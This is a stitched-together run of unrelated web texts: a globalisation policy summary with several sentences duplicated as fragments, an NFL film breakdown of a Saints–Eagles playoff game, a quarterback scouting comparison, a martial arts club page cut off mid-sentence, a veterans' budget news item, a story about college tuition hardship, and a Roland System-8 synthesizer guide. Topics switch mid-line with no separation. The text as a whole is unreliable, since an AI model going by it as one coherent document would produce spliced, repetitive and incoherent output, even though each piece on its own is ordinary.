Globalisation is no final goal, but a means of promoting well-being and peace. It should be shaped by economic policy to increase the set of choices for individuals and countries, encouraging bottom-up elements and allowing for differences in preferences and mutual learning. Up to now globalisation has been fuelled by market forces and new technologies; henceforth economic policy has to assume responsibility that social and ecological goals are attained. The speed and burden of change accelerates in open countries, and losers therefore have to be compensated, less skilled people be enabled to switch from the losing to the winning position. The functions which provide quality of life have to be defined, and progress and deficits under globalisation must be continuously monitored. Europe should try to shape globalisation more actively according to its values, but should also learn from other cultures. Looking for jointly advantageous solutions increases well-being and economic success, while shaping rules with “my country first” slogans are bound to fail in the long run.
Potential game changing instruments will support the attainment of the strategic goals, although not all instruments have to be applied at the same time and with the same intensity. Trial and error and national preferences on the choice of the instruments are possible and efficient, given that the reshaping of globalisation is a search process in unknown territory and no one knows the best solution in advance.
Government policies should be oriented at “Beyond GDP” goals, refocus expenditures towards investment in education and innovation, and redirect innovation from saving labour to saving energy and resources.
should be oriented at “Beyond GDP” goals, refocus expenditures towards investment in education and innovation, and redirect innovation from saving labour to saving energy and resources. Social policy should target unemployment and inequality, in particular by switching from ex post protection to investing in future capabilities, starting with early education.
should target unemployment and inequality, in particular by switching from ex post protection to investing in future capabilities, starting with early education. Environmental concerns should be addressed by internalising the costs of emissions in production, consumption and transport and by setting rules of conduct for multinationals to prevent pollution and exploitation of scarce resources.
should be addressed by internalising the costs of emissions in production, consumption and transport and by setting rules of conduct for multinationals to prevent pollution and exploitation of scarce resources. Trade agreements should be redesigned to increase well-being while respecting cultural differences, and upgrading social, environmental and health standards. Dispute decisions should be integrated into in the hierarchy of the courts with the potential of recourses. International organisations should cooperate in shaping economic, social and environmental rules.
should be redesigned to increase well-being while respecting cultural differences, and upgrading social, environmental and health standards. Dispute decisions should be integrated into in the hierarchy of the courts with the potential of recourses. International organisations should cooperate in shaping economic, social and environmental rules. Knowledge transfer can be enhanced and political instability mitigated through an exchange of researchers and qualified workers and by stimulating investment in the European Neighbourhood (European Neighbourhood Programme –ENP). Mutual benefits of migration should be reaped by supporting early integration of migrants into the work sphere and encouraging circular migration.
Following these principles and searching for the best instruments to implement them will hopefully make the welfare effect of globalisation increase for all partners. Europe should try to increase its impact on shaping the rule, but at the same time learning from its partners.I always say that when it comes to the NFL playoffs, throw the regular season statistics out the window because what happened during the regular season doesn’t always carry into the playoffs, and this game was a prime example of that.
Entering this game, the Philadelphia Eagles had the leading rushing attack in the NFL, not only in yards per game (160.4) but also in yards per attempt (5.1). They also had the leading rusher in the NFL in LeSean McCoy. On the defensive side of the ball, they had one of the best rushing defenses in the NFL, allowing 3.8 yards per rushing attempt which was good for 4th place.
Meanwhile, New Orleans entered this game with one of the worst rushing attacks in the NFL as they ranked 25th in yards per game (92.1), and 26th in yards per attempt (3.8). They also had one of the worst rushing defenses in the NFL as they ranked 28th in yards per attempt (4.6). But when the dust cleared on Sunday, LeSean McCoy finished the game with only 77 yards on 21 carries (3.7 yards per attempt). Meanwhile, New Orleans’ Mark Ingram, Khiry Robinson, and Darren Sproles ended up finishing the day with a combined 171 yards on 30 carries (5.7 yards per attempt). So let’s break down the film and see how New Orleans was able to stymy the Eagles’ rushing attack, establish their own ground game, and come away with a victory to advance to the divisional round of the playoffs.
Let’s start with the Eagles’ ground game. In these next few clips, you’ll see how through a combination of great play from the Saints’ defensive line and great scheming, the Saints were able to contain LeSean McCoy.
On this first clip, it looks like LeSean McCoy is going to have a nice hole to run through, but nose tackle Brodrick Bunkley does a great job of pushing center Jason Kelce towards McCoy, and then getting off his block to wrap up McCoy as he tries to explode through the hole.
This next play is a result of good scheming by defensive coordinator Rob Ryan, and poor scheming by Eagles’ head coach Chip Kelly and quarterback Nick Foles for not checking out of this play. As you can see, the Saints have 7 defenders in the box, meanwhile the Eagles only have 6 blockers. The Eagles are at a disadvantage, and as a result, defensive end Cameron Jordan is going to be left unblocked. Now, had this been a zone read play from the shotgun formation, it may have worked out, as Nick Foles would have been the 7th “blocker” and may have been able to force Jordan to play contain on the outside. However, that was not the case. Foles takes the snap from under center on this play, meaning his back is going to be turned to hand the ball off to McCoy, and thus Jordan is free to key in on the McCoy. I also think McCoy has to do a better job on this play and realize that his only chance of making something positive out of this scenario is to just hit the hole hard and try to use his quickness to explode past Jordan instead of dancing in the backfield.
The following play is again the result of the Saints having more defenders than the Eagles have blockers. This time they have 10 defenders within 5 yards of the line of scrimmage on this 3rd and 1 play, meanwhile the Eagles have 8 blockers. This leaves cornerback Corey White unblocked to meet LeSean McCoy in the hole and tackle him for no gain.
Here is another play where a great effort by a defensive lineman prevents what could have been a big gain. There is a hole for McCoy to run through, and guard Todd Herramins gets to the second level to put a block on linebacker Curtis Lofton, but again Jason Kelce allows his man to get off the block, as this time it’s John Jenkins wrapping up McCoy before he can get 1 on 1 with the safety.
This next play goes for 4 yards, but again it’s a case of the Saints’ defensive line not letting McCoy get to the second level untouched, preventing him from being able to make any moves in open space. This time it’s Tom Johnson who spins out of a block from All-Pro guard Evan Mathis to grab McCoy as he tries to burst through the hole.
LeSean McCoy is the most dangerous runner in open space in the NFL, but as you can see he didn’t have many opportunities to get to the second level clean to be able to operate in the open field and put one of his patented jukes on a defender.
For everything that went wrong with the Eagles’ rushing attack, they went right for the Saints’ ground game. Eagles’ defenders rarely were able to get off their blocks to slow down the Saints’ runningbacks and when plays were there to be made they missed tackles. Also, Sean Payton did a great job of keeping defensive coordinator Billy Davis guessing as to when they were going to run, and where they were going to run. NFL Spin Zone’s Joe Soriano wrote before the game that “One darkhorse to keep an eye on is Mark Ingram”, and he was certainly right as Ingram picked up 97 yards on 18 carries and scored a touchdown for the Saints.
Let’s start with the first play of the game, a 17 yard run by Mark Ingram. On this play the Saints’ offensive line does a great job of sealing off their blocks to allow Ingram to get to the outside where he meets cornerback Bradly Fletcher 1 on 1. He then makes Fletcher miss, and linebacker Mychal Kendricks is unable to get off his block which allows Ingram to pick up the first down and more.
02 ingram 18 yard run
Here is another big gain by Mark Ingram, this time an 18 yard run. On this play, it looks like defensive end Cedrick Thornton is going to have a chance to bring him down in the backfield, but tight end Ben Watson chips him just enough to re-direct him out of Ingram’s way, and the rest of the offensive line does their job to open up a huge hole for Ingram to run through.
This next play is a pitch to Darren Sproles on 3rd and 3. Linebacker Connor Barwin is going to shoot the gap, but by doing so he actually ends up taking himself out of the play, allowing Sproles to easily get to the outside. Mychal Kendricks has a chance to possibly make a stop on this play, but similar to the first play of the game, he is unable to get off the block and make the tackle.
So now that we’ve been through the run games for both teams, let’s get into some other key plays of the game. The Eagles and Saints have two of the most prolific passing attacks in the NFL, but both were pretty well contained on Sunday through a combination of good defensive plays and mistakes by both offenses. But before I get into breaking down some of the other key plays from Sunday’s game, I would like to point something out. Commentator Chris Collingsworth alluded to the Saints being able to take Desean Jackson out of the game by having cornerback Keenan Lewis blanket him all day, but after reviewing the film, that really wasn’t the case. Desean Jackson was on the field for 21 pass plays with Keenan Lewis. Of those 21 plays, Jackson saw zone coverage on 11 of them, and was covered by Lewis on 9 of them. Jackson was covered by safety Malcolm Jenkins on the remaining play. Of those 9 plays where Lewis covered Jackson, 1 of them was a screen pass to tight end Brent Celek where Jackson was just a decoy. That leaves 8 plays where Jackson was actually a potential target and was covered by Lewis. And of those 8 plays, Jackson got open on 3 of them, and Lewis had him covered well on 5 of them. Foles was just unable to connect with Jackson on those chances due to 1 poor throw, 1 missed opportunity where Jackson beat Lewis deep, and 1 opportunity where a breakdown in the blocking caused a jailbreak where Foles did not have a chance to throw to anyone and got hit with an intentional grounding penalty.
That’s not to say that Keenan Lewis did not do a good job on Sunday, he did. Covering Desean Jackson is no easy task. But it’s not as if Lewis was manned up on Jackson and shutting him down all game long as Collingsworth made it sound from the broadcast booth.
Ok, now on to more key plays from the game.
The Eagles missed a big opportunity early on in the game, as Foles did not see tight end Brent Celek wide open downfield on this play.
Late in the first quarter, a key sack by the Saints pushed the Eagles back 11 yards, which eventually lead to a missed 48 yard field goal by Alex Henery. On this play, Foles has all day to throw as the Saints only rush 3 linemen and drop 8 into coverage. Foles was looking to go deep on this play to either Riley Cooper on a corner route, or Zach Ertz on a post route, but the Saints’ defenders have both of these routes well covered. If Foles could have a do over on this one, I’m sure he would have thrown the quick square in to Desean Jackson for the safe 5 to 8 yard gain.
On this next play, the Eagles get a key interception off of Drew Brees which lead to a touchdown to take a 7-3 lead in the 2nd quarter. Drew Brees somehow doesn’t see linebacker DeMeco Ryans as he throws this pass right to him.
It wasn’t all doom and gloom for the Eagles’ rushing attack on Sunday. On this next play, LeSean McCoy scores a 1 yard touchdown on 4th and goal late in the 3rd quarter to cut the Saints’ lead down to 6 and make it a 20-14 ball game. This play is your classic Chip Kelly inside zone read play. The offensive line does their job sealing off their blocks, and Foles is going to “block” the outside defender by reading him, which causes him to hesitate and allows McCoy to get into the endzone.
The following 40 yard pass from Drew Brees to Robert Meachem in the 4th quarter eventually lead to a field goal which gave the Saints a 23-17 lead. On this play, the Eagles double cover Jimmy Graham (something they were doing quite often on Sunday), leaving Meachem 1 on 1 with safety Patrick Chung downfield. Brees sees this matchup and exploits it for a 40 yard gain.
On the next drive by the Eagles, they score the go-ahead touchdown, giving them a 24-23 lead with 5 minutes left to play. On the ensuing kickoff, a lack of lane discipline lead to a 39 yard return by Darren Sproles. As you’ll see in the clip below, Colt Anderson (circled in yellow) cuts across the field, leaving way too much open space to the outside with only Cary Williams left to defend the rest of the field. A horse collar tackle by Williams added 15 yards to the return, giving the Saints the ball at the Eagles 48 yard line.
Two plays later, Khiry Robinson takes this run up the middle for a gain of 13 yards on 2nd and 11. Once again, it’s a numbers mismatch for the Eagles as the Saints have 8 blockers to the Eagles 7 defenders in the box on this play. And also once again, the Eagles defenders are unable to get any push or get off their blocks, and as a result Robinson is able to make two jump cuts to his left and still have time to hit the hole.
This final play was pretty much the game clincher for the Saints. On 3rd and 1 from the Eagles 27 yard line with 2:32 left in the game, Drew Brees takes a QB sneak up the middle for a gain of 3 yards. This gave the Saints a fresh set of downs and would allow them to burn the rest of the clock out and kick the game winning field goal with no time left on the clock. Had the Saints not picked up this first down, they would have kicked the go ahead field goal and given the Eagles’ offense the ball with over 2 minutes left on the clock and a chance to win the game. This QB sneak was a combination of great effort from the Saints’ offensive line, and poor scheming by the Eagles. The Saints’ offensive line gets great movement as they keep their feet churning and drive the Eagles’ defenders back off the ball. However, on the Eagles’ side of things, the coaches did not call a proper play to stop a QB sneak (which everyone in the stadium knew was about to happen). They have defensive tackle Benny Logan lined up over center, but defensive ends Cedrick Thornton and Fletcher Cox lined up over the tackles. This leaves no one lined up over right guard Jahri Evans, and 6’0″ 240 pound linebacker Mychal Kendricks lined up over the 6’3″ 310 pound left guard Ben Grubbs.
Well that’s it for this week’s All-22 film breakdown. The Eagles will be watching the rest of the playoffs from home, but they certainly exceeded expectations this year as the won the NFC East division title and put up a valiant effort against a very good New Orleans Saints team in the first round of the playoffs. The Saints head to Seattle to play the Seahawks on Saturday, looking to exact revenge for a 34-7 loss they were dealt in early December on Monday Night Football. You can check out my film breakdown I did for that game here. (Quick sidenote: I was using different/worse technology back when I reviewed that game, so the clips are not as smooth and fluid as they are in this post).
Tune in next week as I break down one of the games from the divisional round of the playoffs. Until then, enjoy what is shaping up to be another great round of playoff football!Posted: June 29th, 2012
During the season, in my role as executive producer of the “NFL Matchup” show, I do not have the luxury of studying one quarterback for three or four consecutive days. But this time of year is different.
I am currently working on a project at NFL Films that has allowed me to evaluate each NFL starter with a sharper, more refined lens. At times, you get a different feel after watching the same player in seven or eight straight games.
With training camps about a month away, I thought it’d be instructive to look back at the rookie seasons of Andy Dalton and Christian Ponder, and to use that analysis to project how 2012 will unfold.
There’s a more clearly defined arc that is part of the evaluation process with rookies. It begins with my careful study of their college tape, continues with their weekly performance during the NFL season, and then comes full circle with re-evaluation in the spring and summer. I have been fortunate this year to fully complete the cycle for the young quarterbacks at the helm of the Cincinnati Bengals and Minnesota Vikings.
I went back and re-read all my film-study notes on Dalton and Ponder from their final college season at TCU and Florida State, respectively. In the final analysis, and of course much went into that, I felt Ponder was the stronger overall prospect entering the draft. I had some concerns about Dalton’s arm-strength limitations. Ponder didn’t have a gun, but his arm was stronger than Dalton’s; more importantly, his college tape showed more throws that demanded velocity. While both displayed elements of anticipation and pocket toughness — two essential attributes in the NFL — I evaluated Ponder as a better arm talent, capable of driving the ball down the field at the intermediate and deeper levels.
At the time, I saw Dalton as the kind of quarterback who would have to be manipulated and managed by the schematics of the passing game, and by extension, the play calling. His NFL coach, if Dalton was to be efficient and consistent, had to understand his physical attributes and structure the offense — specifically the passing game — accordingly. It’s the Bill Walsh paradigm: The passing game concepts — i.e. route combinations and reading progressions — have to maximize a quarterback’s strengths and minimize (or even eliminate) his limitations.
That’s exactly what happened in Cincinnati with offensive coordinator Jay Gruden. And surprise, surprise — there’s a pedigree that goes all the way back to Walsh. Gruden is the brother of Jon Gruden. Jon received his NFL indoctrination with the San Francisco 49ers in 1990, working for Mike Holmgren. Holmgren, as many remember, worked for Walsh from 1986-88 as the 49ers’ quarterback coach. This line is clear and distinct, and Jay applied many of the Walsh principles last season. He understood Dalton’s skill set and how to best apply it in the NFL.
As I watched Dalton throughout his rookie season, I believed my evaluation was confirmed. He clearly played well; that’s inarguable. He was poised and composed in the pocket, threw with timing and anticipation and was consistently accurate. His quick, compact delivery, in tandem with his natural anticipation, compensated for his arm-strength limitations. It was evident breaking down the tape that Gruden did an outstanding job maximizing Dalton’s efficiency. The route combinations and reading progressions were more elementary than advanced. That played to Dalton’s strength as a timing and rhythm passer with touch and accuracy.
Yet, there were instances in which his inability to drive the ball with velocity was a negative factor. As is always the case, those situations tend to arise more frequently, and are magnified, in the more important late season and playoff games, against better defenses. When the 2011 season ended, I viewed Dalton as a good young quarterback with defined strengths and some limitations.
When I returned to Dalton last month and drilled down deeper, I was more impressed. Here’s why: Quarterbacks who are not strong, power throwers must have two attributes in order to compensate: anticipation and accuracy. And they must possess those traits to a highly refined degree to be top-level NFL signal callers. Dalton routinely displayed outstanding anticipation. There were many intermediate throws in which he pulled the trigger well before the receiver began his break. What must supplement that kind of anticipation is precise ball location. Dalton had it. Time and again, he hit the strike point, putting the ball right on his receivers’ hands.
I will never minimize the value of arm strength. In fact, there have been quarterbacks whose arms have gotten stronger as their NFL careers have progressed (Tom Brady and Drew Brees, to name a couple). Perhaps that will happen with Dalton. But for right now, his ability to offset a lesser arm with highly developed execution of other necessary attributes sets him apart, especially early in his career.
Unlike Dalton, who was installed as the Bengals’ starter in training camp, Ponder began 2011 as a backup — to Donovan McNabb. That’s important to remember. He did not get first-team reps all through camp and the first six weeks of the season. He wasn’t named the starter until mid-October, before the Week 7 home game against the Green Bay Packers. No offseason due to the lockout, limited reps … and then your first start comes against the defending Super Bowl champions, who were undefeated at the time.
It was an impressive beginning. Ponder threw with velocity, especially when his feet were set. He showcased excellent ability to throw on the run, with designed movement a featured part of the offense. He also displayed the kind of confidence you love to see in a young passer, attacking Charles Woodson in man coverage a number of times. He won some, he lost some. He was firm in the pocket, willing to deliver in the face of pressure.
As the season progressed, Ponder exhibited other attributes that bode well for 2012 and beyond. In particular, pocket movement. There were a number of throws in which Ponder showed the essential ability to move within the pocket to avoid the pass rush, maintain downfield focus and then deliver with accuracy. He also provided the added dimension of getting outside the pocket in response to pressure and using his speed to generate explosive gains.
Ponder must improve as a progression reader. Last season, he had a tendency to pre-determine throws — a common problem for young, inexperienced quarterbacks. There are four general steps in the process of learning how to play NFL quarterback at a high level:
1. Grasping all the subtleties of your own offense.
2. Comprehending the nuances and complexities of opposing defenses.
3. Reading coverage properly after the ball is snapped.
4. Controlling the game before the ball is snapped through recognition and understanding of pressure schemes and coverages.
As a rookie, Ponder struggled just to accomplish the first step. He took the snap and threw the ball to his primary read, regardless of how the defense played. It’s a process, and it takes time. When I re-visited Ponder last month, I found myself more intrigued by his pure throwing ability. That arm strength is a real positive, just like I figured it would be when Ponder was coming out of Florida State.
Ponder, however, is not as advanced as Dalton when it comes to anticipation and accuracy.
These are two second-year quarterbacks with much to build on from Year 1. At this point, almost everyone will say Dalton is the better player. Will that be true in two years? I don’t think that answer is as certain.
For more thoughts by Greg Cosell, follow him on Twitter.Liu Seong Gung Fu
This system is based on a combination of Chinese and Indonesian martial arts as taught by Grandmaster Willem Reeders (Liu Seong). Liu Seong Gung Fu is a combination of Liu Seong Royal Chuan Fa and Pentjak Silat. Chuan Fa is a Mandarin Chinese term meaning “Fist Method,” and can refer to any number of Chinese martial arts. Pentjak Silat refers to Indonesian martial arts, and the term does not have a simple, direct English translation. Although it is unclear precisely what the historical components of Liu Seong Gung Fu are, it’s clear that it includes aspects of Hokkien White Crane boxing and Bagua Zhang along with a number of other Gung Fu and Silat systems.
Students in the Chinese-Indonesian Martial Arts Club study the various aspects of this art. Along with empty hand training, students learn to use a variety of weapons, including the short stick, knife (pisau), staff, machete (parang), broadsword (dao), straight sword (jian), titjiu (also known as tjabang or sai) and three-section staff. The training also includes hard and soft Qigong, various movement drills, constant hands-on technique practice, and forms training. The system’s focus is on combative effectiveness against one or more opponents, and does not have a sport aspect to it.
For those who are interested in names and dates, Erik Harris is the head instructor for the Chinese-Indonesian Martial Arts Club. Erik began studying this art in June 1990 under Sifu George Reyngoudt, and became a student of Mr. Joe Salomone in March 2005. Sifu Reyngoudt learned this art from a number of teachers. He was a student of John Furey from 1980 to 1987. In 1985, he began training informally with Gary Galvin, a Chuan Fa student of Grandmaster Reeders. In 1998, he became a student of Mr. Joe Salomone, a student of Grandmaster Arthur Sikes. In 1999, he began training informally with Jerry Bradigan, who inhereted the Royal Chuan Fa system from Grandmaster Reeders.
Grandmaster Willem Reeders
There are many stories about Grandmaster Willem Reeders. Some are no doubt true, while some may be exaggerations based on his “legendary” status. Grandmaster Reeders shared many stories about his family and life with his students. He gave each person a part of his martial arts and his life. Either by design |
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• Material: ABS Plastic, Acrylic Lens, High-Powered LED, PCBWASHINGTON — Facing growing criticism from Congress, veterans’ groups and even late-night television hosts, the Obama administration announced on Friday that it would include significant increases for veterans’ programs, including money for mental health services, in the budget it unveils next week.
The president’s budget for the 2014 fiscal year will include $63.5 billion in discretionary funds for the Department of Veterans Affairs, a 4 percent increase over the current budget, said Denis R. McDonough, the White House chief of staff.
The spending plan calls for a 13.6 percent increase in discretionary spending, to $2.5 billion, for the Veterans Benefits Administration, the embattled agency within the department that oversees benefit programs, including education and disability compensation programs. And it will include $7 billion for mental health services, a 7 percent increase.
The budget will also propose spending nearly $300 million on two programs intended to digitize disability claims for wounded veterans. The department has more than 850,000 claims awaiting decisions, of which nearly 70 percent have been pending for more than 125 days, its benchmark for timely action.Not only have families’ incomes been falling as their savings have dwindled, but also tuition has been rising — including proposed increases of nearly 10 percent next year throughout the University of California system. (Brennan would face bills nearly as high as Berkeley’s at the University of California campuses in Los Angeles and Davis, the only other colleges to accept him; Stanford, a private university that typically offers full scholarships to families with incomes under $60,000, rejected him. Berkeley offered him only $212 in scholarship money.)
While private colleges have vowed to protect financial aid in hard times, some of the most reliable independent scholarship programs have been reduced or discontinued this year — including some that lost parts of their endowments to Bernard L. Madoff’s vast Ponzi scheme — further raising the competition for those that remain.
Interest rates on student loans, including on popular federal programs like the unsubsidized Stafford (now nearly 7 percent) and Parent Plus (8.5 percent), are running several percentage points higher than the rates on secured loans, like home equity lines of credit.
“The difference of rates between secured and unsecured loans is higher than I have ever seen,” said Scott White, director of counseling services at Westfield High School in New Jersey. “This is one further impediment to access to post-secondary education for all but the well-to-do.”
Judy Campbell, Brennan’s guidance counselor at Hollywood High School, where three of every four students qualify for a free or reduced-price lunch, suggested that his family was “not poor enough for need-based aid and not rich enough to write a check.”
Photo
When asked over dinner whether she felt guilty that Brennan had taken so much upon himself, his mother, Caryn, began to cry. “We didn’t expect to end up in this situation,” she said.
Tuition, board and other expenses at Berkeley are estimated at $27,000 a year. Last year, the family’s income was $58,000, when Ms. Jackson’s wages from teaching were combined with revenue from a part of a rental property. The family cannot sell the property because it does not own it outright, and Ms. Campbell believes that the investment reduced the direct aid Brennan might have received.
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Brennan’s father, Aaron, who was laid off as an accountant more than a year ago, acknowledged that his son had few options. He said his lack of steady income prevented the family from refinancing the $500,000 mortgage on its cramped, nearly 90-year-old, two-bedroom home or taking on additional debt.
Mr. Jackson said his job search had been frustrating: he said he had been deemed overqualified for some jobs in recent months, and underqualified for others. His previous job with a real estate company paid about $75,000 annually.
Which is not to say that the family has not been doing its part to offset its expenses.
They have reduced visits to the dentist from twice a year to once; saved $45 a month in groomers’ fees by trimming their two dogs themselves; returned one of their cars, a Honda CRV on a lease, to the dealer; stopped eating in restaurants; and deferred home repairs.
As May 1, the day his $100 deposit was due at Berkeley, was drawing near, Brennan said he had netted about $1,500 in outside scholarships, mostly from the California Scholarship Federation, a statewide organization. He is also a finalist for a scholarship from the Rotary Club of Los Angeles that could be worth $2,000. And he was preparing to submit his application for a $5,000 grant from an organization called D.R.E.A.M.S. (Developing a Responsible, Educated and Moral Society). “Five thousand dollars isn’t a small contribution,” Brennan said. But even with that infusion, he said, his situation “would still be problematic.”
He said he had been filling out two applications a night, most of them requiring original essays, for more than month.
The only part-time jobs he has found are as a baby sitter and as a student poll worker in a statewide special election in mid-May. (His pay for that day’s work — which, a form letter from the county clerk assured, “looks great on college/scholarship applications” — will be $105.)
While many of the scholarship organizations will not send out their decisions until later this spring, or even in the summer, Brennan said he knew he could tap one additional source should he come up short: the $15,000 remaining in a college savings account his father had established for him, which had been worth upward of $30,000 less than a year ago. The problem, he said, was that the account had been intended to last four years.
Then there is the matter of his sister, Elise, 16, a junior who will be applying to college next year, meaning his parents will have two children in college at the same time for three years.
Asked whether she had a preliminary plan of attack, Elise said she did: to gain admission to a wealthy, highly selective private college that, unlike the California system, might pay her tuition in full.Since it was introduced last year, I’ve heard several professional keyboardists refer to the Roland System-8 as “the ultimate desert-island synth.” By combining models of iconic analog gear, a modern subtractive-synth engine, a vocoder, a powerful step-sequencer, and split and layering options, Roland has delivered a remarkably flexible polysynth with few compromises.
The Roland System-8 Plug-Out synthesizer is an 8-voice instrument that offers a surprising level of programmability within its ACB (Analog Circuit Behavior) synth engine.
While the included Juno-106 and Jupiter-8 Plug-Out synths are worthy of their own master classes, this month I will dig into the System-8’s powerful AIRA synth, with its multiple oscillator, filter, and LFO options that can be mixed and matched in a manner that strongly evokes modular-synth rigs, but with the ability to save the results for future use.
OSCILLATORS
Fig. 1. The System-8 oscillators currently offer two sets of waveforms that are grouped as Variations. Variation 2 offers six digital modes that cover everything from FM to vowel sounds.
The System-8 has two main oscillators and a sub-oscillator. Each of the main oscillators has two sets of audio sources, called Variations, that are assignable per oscillator (see Figure 1). But all three oscillators do tricks that go beyond traditional virtual analog synths, thanks to a Color knob that can significantly transform even the traditional waveforms. Here’s a summary for each type, grouped by Variation, along with a few tricks to inspire your creativity.
Variation 1 This is where you find the basic synth waveforms. But don’t take this list for granted, because many of the waveforms have notable aspects.
Sawtooth: The base shape is a classic sawtooth with a slope that’s ever so slightly rounded, giving it a tad more low-end than other synths. Turning the Color parameter introduces a comb-like component in the middle range until the value reaches its maximum, at which point it remains a sawtooth, but with the second harmonic (an octave above the fundamental) slightly emphasized. Accordingly, modulating the Color parameter introduces a slight flanging effect.
Pulse: This is the pulse wave we all know and love, implemented uni-directionally with a square wave at zero and thin pulse at maximum.
Triangle: At minimum, a standard triangle is generated. At maximum, there is a tiny, squeezed peak in the waveform that adds some high-frequency content by slightly emphasizing the even harmonics. Above 50% there’s a touch of the comb effect present in the sawtooth.
Multiwaves: The next three options offer multiwave versions of the three standard waveforms, and with these the Color knob increases detuning. The sweet spot for classic “supersaw” effects is between 40% and 60%.
Variation 2 First introduced in the System-1m (and as an update for the original System-1), the second set of oscillator waveforms is a grab bag of tonalities that include both modular-ish and straight-up digital options that greatly extend the timbral range of the instrument. It’s also worth mentioning that each oscillator can be set to a different variation independently: For example, you can use oscillator 1 for a classic analog tone while oscillator 2 handles the more exotic duties.
Noise Saw: This mode is reminiscent of a popular modular trick of using noise as a modulation source applied to a sawtooth. On its own, it adds a slight quiver and grunge to the sawtooth, which is useful for simulating the deterioration of vintage oscillators. Blended with a standard sawtooth on oscillator 2, the result is a dirty detuned effect that’s more aggressive than simply fine-tuning each oscillator a few cents in opposite directions.
Logic Operation: This mode provides logic gates like those found in modular rigs that apply OR, AND, NAND, and XOR functions. Here, it’s a cascaded circuit emulation based on square waves. When using this mode, check out these settings for the Color parameter: 24, 34, 42, 56, 67, 85, 98, 109, 127, 134, 152, 166, and 192. All of these values will deliver results that are more in-tune and manageable when combined with other oscillators.
FM: This mode introduces frequency modulation to a sine wave oscillator, with the Color knob sweeping the modulating frequency. This is useful when creating dissonant sounds. Up to a value of around 60, the initial results are a slightly richer sine wave. As you increase the intensity, the sidebands become harsher with the exception of the following settings (which still include some beating artifacts): 145, 168, 193, and 255.
FM + Sync: Not to be confused with actually adding hard sync via oscillator 2, this mode integrates sync directly into the oscillator FM. The result is a wide spectrum of harsh, in-your-face digital tones reminiscent of a single operator with an adjustable feedback loop. Since it stays in tune as it gets harsher, experiment with the Color knob to get a better feel for this mode.
Vowel: This mode replicates a bright sawtooth waveform transformed by a formant filter. The Color control shifts the filter characteristics through a range of vowel sounds.
Cowbell: This waveform is based on the same four frequencies as the original TR-808 cowbell. The Color knob controls the amp decay of the oscillator so it can be layered with other tones as a percussive effect.
COLOR MODULATION
In addition to simply setting a value, the Color parameter can be modulated from a wide range of sources, including the LFO, pitch envelope, filter envelope, amp envelope and—pay attention—audio rate modulation from oscillator 3, which expands the possibilities of each mode dramatically.
For classic PWM-like effects, stick with the LFO. For adding timbral sweeps, try the pitch envelope, as it allows you to keep the other two ADSRs free for their intended purposes. Applying oscillator 3 as an audio rate modulator reinforces the modular-like capabilities of the System-8 and is worthy of an entire evening of experimentation to get a feel for its effect on the various oscillator modes.
CROSS-MODULATION
Oscillator 2 includes ring modulation and hardsync options, which behave as expected. But it is also worth noting that oscillator 1 includes a dedicated Cross Mod knob. According to the manual, this “modifies the OSC 1 frequency according to the OSC 2 waveform.” In practice, it behaves like FM applied to oscillator 1.
To examine it closely, set oscillator 2 to its lowest octave (64 feet), select a triangle wave, then turn its volume down in the mixer. From there, increase the value of Cross Mod on oscillator 1 slightly and you’ll hear a touch of vibrato that increases in speed as you play up the keyboard. At higher octave settings, Cross Mod adds dissonant, metallic-sounding sideband frequencies. It’s great for sound effects, especially when combined with ring modulation.
SUB-OSCILLATOR
Though its range is tied to the octave of oscillator 1, thinking of the System-8’s “sub-oscillator” in traditional terms is a bit of a disservice. For starters, the octave and tuning knobs make it freely tunable over a nine-octave range (in conjunction with oscillator 1’s octave knob), meaning it’s also capable of intervals such as fifths. It can also be detuned, thanks to its parameter resolution of 10-cent increments over a two-octave range.
What’s more, its sine and triangle options include their own Color knob: This shifts the sine towards a rounded sawtooth direction, while the triangle (which, on an oscilloscope is more like a rounded square) can be “pinched” in a pulse-like manner.
And don’t forget: It’s assignable as a modulation source for the primary oscillators’ Color parameter.
FILTERS
Fig. 2. Filter Variation 2 includes six modes based on Roland’s iconic V-Synth.
The System-8’s filter section includes its own set of three variation modes, each with distinctive characteristics that cover both analog and digital territory (see Figure 2). In addition to keyboard tracking and a separate non-resonant highpass in the chain, the filter includes a dedicated ADSR (with negative modulation available) and adjustable velocity sensitivity applied to the cutoff (not the envelope amount, as some other synths do).
Variation 1 The first variation can operate in either resonant lowpass or highpass mode with options for 12dB, 18dB and 24dB/octave slopes for each. The 18dB/octave lowpass mode is a nod to the 303 filter and, while it’s not an actual replica, it’s terrific for acid basses with the resonance cranked.
Variation 2 The second filter variation is based on the “side-band” filter that originally appeared on another Roland icon, the V-Synth, with six different modes that have their own unique character. Savvy listeners will immediately recognize Variation 2’s filters as sophisticated comb-filter arrays that can be used for flanging effects.
Going a bit further, the upper three modes (SBF4, 5 and 6) don’t pass the input source(s) from the oscillator mixer, but instead use them as a type of exciter for the filter to generate its own tones, much like Karplus-Strong synthesis. With a bit of methodical experimentation, it can even deliver effects normally associated with physical modeling waveguides.
ProTip: If you set keyboard tracking to maximum and adjust the levels of multiple oscillators (at different octaves) and noise in real time, you can create otherworldly Indian tanpura-like droning effects, which sound spectacular through the System-8’s delay and reverb processors.
Variation 3 This mode is derived from the original System-1 and -1m and offers much more aggressive lowpass characteristics, reminiscent of the Roland ‘70s-era BA662A filter (notably from the SH-2). While these don’t include highpass options, there is an additional 18 dB/octave mode here that wasn’t present in the original.
LFOS
Fig. 3. In addition to standard LFO tools, there are two Variations that offer modulation that is evocative of the flexibility provided by modular-synth rigs.
The System-8’s LFOs are powerful and very exotic. As with the filter and oscillators, the LFO includes several variations that allow it to do tricks that would be time-consuming to configure on other synths, even if they supported it. That said, the LFO can be applied in discretely varying amounts to up to five different destinations simultaneously—pitch, filter, amplifier, and each oscillator’s Color parameter. There’s also a Fade Time parameter for classic performance tricks such as delayed vibrato (see Figure 3).
Variation 1 This is the standard LFO configuration, with options for sine, triangle, rising sawtooth, square, sample-and-hold, and random. While these waveforms may seem obvious in their application, there are some details worth mentioning. For example, sample-and-hold and random are often interchangeable terms for the same waveform. But here, sample-and-hold is stepped and jumps instantly between random values, whereas random includes a lag that slides between each value, which is handy for re-creating R2D2-like sweeps and burbles. Additionally, for those who prefer downward sawtooth waveforms for Deadmau5-style pulsing chords, you can invert its depth and apply it to filter cutoff, with identical results.
